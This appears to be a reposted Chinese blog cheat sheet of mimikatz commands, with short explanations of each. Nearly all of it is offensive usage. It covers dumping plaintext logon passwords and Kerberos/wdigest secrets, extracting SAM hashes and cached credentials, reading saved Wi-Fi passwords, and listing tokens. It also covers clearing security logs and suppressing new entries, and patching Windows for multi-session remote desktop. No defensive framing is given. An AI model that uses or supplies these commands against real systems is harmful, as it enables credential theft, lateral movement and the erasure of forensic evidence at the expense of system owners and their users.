zoukankan      html  css  js  c++  java
  • mimkatz 用法

    mimikatz用法

    privilege::debug         进入debug模式

    sekurlsa::logonPasswords 查看所有用户密码

    sekurlsa::wdigest     读取当前登录用户

    process::list            查看进程

    process::suspend /pid:5576  暂停5576(计算器程序)

    process::resume /pid:5576    恢复5576(计算器程序)

    event::drop        后面的操作不再产生日志

    event::clear          清除所有日志

    misc::cmd        打开CMD

    misc::regedit         打开regedit

    misc::taskmgr       打开任务管理器

    默认windows桌面只能一个用户使用,如果使用远程桌面就会被挤掉

    但是mimikatz可以打一个补丁,使得多人可以同时在线

    ts::multirdp          打补丁开启多人远程桌面

    minesweeper::infos   扫雷开挂

    参考网址:http://wy.hx99.net/searchdrops.php?q=mimi

    privilege::debug 提权为system debug权限
    sekurlsa::logonPasswords 列出当前登录的用户明文密码,包含wdigest kerberos
    sekurlsa::kerberos 读取域下的用户会话明文密码
    sekurlsa::wdigest 读取本地用户会话的明文密码
    process::list 列出当前系统的所以进程
    process::start cmd.exe 启动进程
    process::stop /pid:2844 关闭进程
    process::suspend /pid:2768 暂停进程
    process::resume /pid:2768 恢复进程
    service::list 列出服务
    lsadump::sam 获取sam文件的hash值
    lsadump::cache 获取缓存内容
    ts::session 查看现有的登录会话
    ts::multirdp 远程桌面单用户多会话补丁
    event::clear 清除安全日志
    event::drop 后面的操作不再产生新的日志
    minesweeper::infos 扫雷透视
    misc::cmd 打开cmd
    misc::regedit 打开注册表
    misc::taskmgr 任务管理器
    misc::wifi 查看所有以保存的wifi密码
    token::list 列出windows票据
    token::whoami 列出当前会话票据

  • 相关阅读:
    View基础知识
    数据库性能优化之SQL优化
    poi读取Excel文件和图片
    ab压测工具的一些个人见解
    【压测工具对比系列施压对比】
    【压测工具对比系列性能对比】
    【转】linux sed命令详解
    linux下文件比对功能
    windows下自动更改IP的小工具(bat批处理文件)
    mysql中操作符LIKE与通配符%的使用
  • 原文地址:https://www.cnblogs.com/demonxian3/p/8251124.html
Copyright © 2011-2022 走看看